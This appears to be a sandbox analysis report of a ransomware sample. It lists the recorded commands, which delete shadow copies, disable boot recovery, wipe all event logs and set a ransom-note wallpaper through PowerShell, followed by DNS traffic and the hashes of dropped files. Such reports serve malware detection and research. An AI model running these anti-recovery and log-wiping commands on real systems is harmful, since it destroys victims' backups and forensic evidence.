C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\208467486.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

memory/2872-4-0x00007FF7A88F0000-0x00007FF7A8A0E000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/2612-20584-0x0000027A3C0C0000-0x0000027A3C0E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvdgswgn.lml.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d5ec758b0f3f7a5300c0883d9749a5c6
SHA1 571a3baa5a6d8f952da3e22a27bbff9c23196764
SHA256 84c323e71d91cb5ff283f05ed017de768df8b567f16a688140a902ebb6ffcf9f
SHA512 32f1ee09bfa821dc99429093a839d267d7fec6228b2b9557b0c799bfc44819594ac9657501aaf598384a5b4da0c11386d0928cf37ad8a7335fc4325948593337

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00